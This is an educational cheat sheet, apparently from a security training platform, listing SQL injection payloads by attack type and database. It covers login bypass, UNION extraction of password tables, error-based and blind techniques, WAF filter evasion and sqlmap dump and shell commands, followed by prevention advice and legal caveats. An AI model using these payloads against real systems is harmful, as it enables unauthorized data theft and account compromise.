Every pentester ends up with a mental stash of SQL injection payloads: the quote that breaks a
login, the UNION SELECT that dumps a users table, the SLEEP() that
proves a blind vulnerability. This SQL injection cheat sheet collects the ones
that actually work in 2026, organized by attack type and by database, so you stop guessing syntax
mid-engagement.
SQL injection is the classic entry in the injection category of the OWASP Top 10, and it is still everywhere. Want to try these payloads live while you read? Fire up the Query Quake lab and inject against a real database in your browser, no setup required.
TL;DR: A SQL injection cheat sheet is a quick reference of injection payloads
for detection, authentication bypass, UNION-based data extraction, and blind (boolean and
time-based) exploitation. The three you reach for most are ' OR '1'='1 to test login
forms, ' UNION SELECT NULL,NULL-- to fingerprint column counts, and
' AND SLEEP(5)-- to confirm blind SQLi by response delay. Syntax differs between MySQL,
PostgreSQL, Microsoft SQL Server, Oracle, and SQLite, so match the payload to the backend.
Quick Navigation
What Is a SQL Injection Cheat Sheet?
A SQL injection cheat sheet is a compact reference of injection strings and queries that testers use to find and exploit SQLi without memorizing the syntax of every database engine. It groups payloads by goal: detect the flaw, bypass a login, read data with UNION, or extract it blindly one character at a time.
Injection ranks as A03 in the OWASP Top 10. In OWASP's 2021 analysis, 94% of tested applications showed some form of injection, with 274,000 occurrences across the dataset. SQL injection maps to CWE-89 and remains the most common variant, which is exactly why a good reference pays off on almost every web engagement.
This cheat sheet is built for authorized testing: bug bounty scopes, CTF challenges, and your own lab targets. If you are new to the attack itself, start with our SQL injection tutorial for the how and why, then come back here for the payloads.
Detection Payloads: Is It Injectable?
Before anything fancy, confirm the input reaches a query. The goal is a payload that changes the response in a predictable way: an error, a different result set, or a timing shift. Test one input at a time and watch what breaks.
| Payload | What It Tests |
|---|---|
' |
Single quote breaks a string context (look for a SQL error) |
" |
Double quote for backends that quote with it |
' OR '1'='1 |
Always-true condition changes the result set |
' AND '1'='2 |
Always-false condition (result should vanish) |
1' ORDER BY 1-- |
Increment the number to count columns |
' OR SLEEP(5)-- - |
Timing test when nothing shows on screen |
%27 |
URL-encoded quote for GET parameters |
Pro tip: The trailing -- - (dash dash space dash) comments out the rest of the query in MySQL and is safer than a bare --, which needs a following whitespace character. In URLs, remember the space becomes + or %20.
When testing real applications, a numeric parameter that silently returns different rows for
?id=1 AND 1=1 versus ?id=1 AND 1=2 is a stronger signal than a raw error,
because many apps hide database errors in production.
Authentication Bypass Payloads
Classic login bypass works when the app builds a query like
SELECT * FROM users WHERE user='INPUT' AND pass='INPUT' and does not parameterize it.
You comment out the password check or force the WHERE clause true. Drop these into the username
field.
| Payload | Effect |
|---|---|
' OR '1'='1'-- - |
Comment out the password comparison |
admin'-- - |
Log in as admin, ignore the password |
admin'# |
Same idea, MySQL hash comment |
' OR 1=1 LIMIT 1-- - |
Force one row when the app expects a single user |
') OR ('1'='1 |
Close a parenthesized condition first |
If the first payload fails, the query structure is probably different (extra parentheses, a different quote style, or a hashed password lookup). Vary the closing characters before giving up. Auth bypass is one of the fastest wins to practice in the web attacks course, which walks through why each bypass fires.
UNION-Based Data Extraction
When the query results render on the page, UNION SELECT is the fastest way to read
arbitrary data. It appends your own result set to the original. Two rules make it work: your
injected SELECT must return the same number of columns, and the column data types must be
compatible.
Step 1: Count the columns
# Increment until the page errors or the layout breaks
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
# Or probe with NULLs until no error
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
Step 2: Find which columns display
# Replace NULLs with markers to see which reflect on screen
' UNION SELECT 'a','b','c'-- -
' UNION SELECT 1,2,3-- -
Step 3: Pull real data
# MySQL: current database, version, and user
' UNION SELECT database(),version(),user()-- -
# Concatenate multiple values into one visible column
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users-- -
# MySQL: dump all usernames and passwords in one row
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password),NULL FROM users-- -
Pro tip: 0x3a is a hex colon. Using hex avoids quote characters entirely, which sidesteps some naive filters that strip or escape quotes. GROUP_CONCAT (MySQL) and STRING_AGG (PostgreSQL, MSSQL 2017+) collapse many rows into a single field so you extract everything in one request.
Error-Based Injection
If the app leaks database errors, you can make the engine print data inside the error message. This is faster than blind extraction because each request returns a full value. Match the function to the backend.
| Database | Error-Based Payload |
|---|---|
| MySQL | ' AND extractvalue(1,concat(0x7e,version()))-- - |
| MySQL (updatexml) | ' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- - |
| PostgreSQL | ' AND 1=CAST(version() AS int)-- - |
| MSSQL | ' AND 1=CONVERT(int,@@version)-- - |
| Oracle | ' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))-- - |
The 0x7e is a tilde marker that makes the injected value easy to spot inside the error
text. If you see the version string wrapped in tildes, error-based extraction is live and you can
swap version() for any subquery.
Blind SQL Injection Payloads
No output and no errors means blind injection. You ask the database true or false questions and read the answer from the response: a boolean payload changes the page content, a time-based payload changes how long the response takes. It is slower, so automate it once you confirm the pattern. For the full methodology, see our dedicated blind SQL injection guide.
Boolean-based
# Compare the responses to these two - different content means injectable
' AND 1=1-- -
' AND 1=2-- -
# Extract one character at a time (first char of the DB name)
' AND SUBSTRING(database(),1,1)='a'-- -
# Confirm a password hash starts with a known character
' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='5'-- -
Time-based
| Database | Delay Payload |
|---|---|
| MySQL | ' AND SLEEP(5)-- - |
| PostgreSQL | ' AND pg_sleep(5)-- - |
| MSSQL | '; WAITFOR DELAY '0:0:5'-- - |
| Oracle | ' AND 1=dbms_pipe.receive_message('a',5)-- - |
A conditional delay turns timing into a boolean channel:
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- - sleeps only when the guess is
correct. In practice, run three requests per character and take the median timing to filter out
network jitter.
Database Syntax Reference
Half of SQL injection is knowing which dialect you are talking to. Fingerprint the backend first, then use the matching syntax. This table is the part of the cheat sheet you will bookmark.
| Task | MySQL | PostgreSQL | MSSQL | Oracle |
|---|---|---|---|---|
| Version | version() |
version() |
@@version |
banner FROM v$version |
| Current user | user() |
current_user |
SYSTEM_USER |
USER FROM dual |
| String concat | CONCAT(a,b) |
a||b |
a+b |
a||b |
| Comment | -- - or # |
-- - |
-- - |
-- - |
| Substring | SUBSTRING() |
SUBSTRING() |
SUBSTRING() |
SUBSTR() |
| No-FROM select | (optional) | (optional) | (optional) | needs FROM dual |
Fingerprint fast: Try a string concat probe. If ' UNION SELECT 'a'||'b' returns ab, you are on PostgreSQL or Oracle. If only CONCAT('a','b') works, it is MySQL. If 'a'+'b' works, it is MSSQL.
Schema Enumeration
Once you can read data, map the database. The information_schema views exist on MySQL,
PostgreSQL, and MSSQL. Oracle uses its own data dictionary views instead.
# List all tables (MySQL / PostgreSQL / MSSQL)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -
# List columns in a target table
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
# Oracle: list tables and columns
' UNION SELECT NULL,table_name,NULL FROM all_tables-- -
' UNION SELECT NULL,column_name,NULL FROM all_tab_columns WHERE table_name='USERS'-- -
From there it is a short hop to the interesting tables: users, credentials, session tokens, API
keys. Filter information_schema.columns for names like pass,
token, or secret to find high-value data quickly.
WAF and Filter Bypass
Web application firewalls and input filters block obvious payloads. During authorized testing you often need to rewrite a payload so it means the same thing to the database but does not match the filter's signature. These are the standard rewrites, not detection avoidance for its own sake.
| Technique | Example |
|---|---|
| Case variation | UnIoN SeLeCt |
| Inline comments | UN/**/ION SE/**/LECT |
| No spaces | 'UNION(SELECT(username)FROM(users))-- - |
| Whitespace swaps | Replace space with %09, %0a, or + |
| Double URL encoding | %2527 decodes to ' twice |
| Keyword nesting | UNIOUNIONN SELESELECTCT survives a single strip |
A filter that strips the word UNION exactly once turns UNIOUNIONN back
into UNION: the removal reassembles the keyword. Practice these rewrites against a
real filter in the
regex bypass SQLi lab,
which is built specifically around defeating a naive input filter.
sqlmap Quick Reference
Manual payloads prove the vulnerability. For extraction at scale, sqlmap automates the same logic. Use it only inside your authorized scope, and start light before turning up the risk and level flags.
# Test a single URL parameter
sqlmap -u "https://target.example/item?id=1" --batch
# Use a saved Burp request (captures headers, cookies, POST body)
sqlmap -r request.txt --batch
# Enumerate databases, then tables, then dump
sqlmap -u "https://target.example/item?id=1" --dbs
sqlmap -u "https://target.example/item?id=1" -D appdb --tables
sqlmap -u "https://target.example/item?id=1" -D appdb -T users --dump
# Push harder when a simple test finds nothing
sqlmap -u "https://target.example/item?id=1" --level=5 --risk=3
# Get an interactive database shell
sqlmap -u "https://target.example/item?id=1" --sql-shell
Pro tip: Feed sqlmap a raw request file with -r instead of retyping the URL. It picks up cookies, auth headers, and POST bodies automatically, which matters for anything behind a login. HackerDNA's interactive sqlmap cheat sheet course drills these flags with knowledge checks.
Prevention Cheat Sheet
Knowing the payloads is half the job. The other half is knowing why they fail against good code, so you can report fixes that hold. The single most effective defense is parameterized queries, also called prepared statements. They send the SQL and the data on separate channels, so user input is never parsed as code.
| Defense | Why It Works |
|---|---|
| Parameterized queries | Data and code travel separately, so quotes never break out |
| Stored procedures (parameterized) | Same separation when they avoid dynamic SQL inside |
| Allow-list input validation | Rejects unexpected characters for things like sort order |
| Least-privilege DB accounts | Limits the blast radius when injection does slip through |
| ORM with bound parameters | Safe by default, but watch for raw-query escape hatches |
A WAF is a useful speed bump, not a fix. Every bypass in the section above exists precisely because teams treated the firewall as the solution. For the developer-side detail, read our SQL injection prevention guide, which covers prepared statements in each major language.
Practice Your SQL Injection Skills
Copying payloads is a start. Landing them against a target that fights back is where the skill actually forms. A cheat sheet tells you what to type; a lab teaches you how to read the response and adjust when the first attempt does nothing.
Recommended Labs
- Query Quake UNION and error-based injection against a live database, browser-based
- Regex Bypass SQLi Rewrite payloads to slip past a naive input filter
- SQL Injection Test A clean environment to confirm every payload in this cheat sheet
Ready to inject? Start with HackerDNA's free tier - no credit card required - and run these payloads against real, legal targets in your browser.
Frequently Asked Questions
What is the most common SQL injection payload?
The single quote (') is the most common test payload because it breaks out of a
string in an unparameterized query and often triggers a visible error. For login forms,
' OR '1'='1'-- - is the classic authentication bypass. Both belong at the top of
any SQL injection cheat sheet.
How do I know which database I am attacking?
Fingerprint with a string concatenation probe. 'a'||'b' returning ab
points to PostgreSQL or Oracle, CONCAT('a','b') means MySQL, and 'a'+'b'
means Microsoft SQL Server. Version functions (version(), @@version)
confirm it once you can read output.
Is using a SQL injection cheat sheet legal?
The payloads are legal to learn and to use against systems you own or are authorized to test: bug bounty programs in scope, CTF challenges, and practice labs. Running them against any other system is a crime in most countries. Keep testing to authorized targets.
Does sqlmap replace manual SQL injection?
No. sqlmap is excellent at extraction once a vulnerability exists, but it misses context-specific injection points and unusual query structures that a human spots. Confirm manually with the payloads here, then hand the confirmed parameter to sqlmap for the heavy lifting.
What stops SQL injection for good?
Parameterized queries (prepared statements). They separate SQL code from user data so input can never be parsed as commands. Input validation, least-privilege database accounts, and an ORM with bound parameters add depth, but parameterization is the fix that actually closes the hole.
Legal and Ethical Considerations
Critical reminder: Every payload in this SQL injection cheat sheet is for authorized testing only. Use them against systems you own, in bug bounty programs where the target is in scope, or on dedicated practice labs. Testing a system without explicit written permission is illegal in most jurisdictions, regardless of intent.
SQL injection can read, modify, and destroy data. On a real engagement, avoid destructive payloads
(no DROP, no UPDATE against production), extract only what proves impact,
and document everything for your report. The goal is to demonstrate risk, not to cause damage.
Your Next Steps
This SQL injection cheat sheet gives you the payloads for detection, authentication bypass, UNION extraction, error-based leaks, blind exploitation, filter bypass, and prevention, plus the database-specific syntax to make them land. Bookmark it, and match each payload to the backend you fingerprint.
The fastest way to make these stick is to run them. Open the Query Quake lab, inject against a live database, and watch how the response changes with each payload. HackerDNA is browser-based with a free tier, so you can start hacking legal targets in the next five minutes.
Part of the OWASP Top 10 series
Related articles:
- SQL Injection Tutorial
- Blind SQL Injection
- SQL Injection Prevention
- SQL Injection Cheat Sheet
- Cross-Site Scripting (XSS)
- Broken Access Control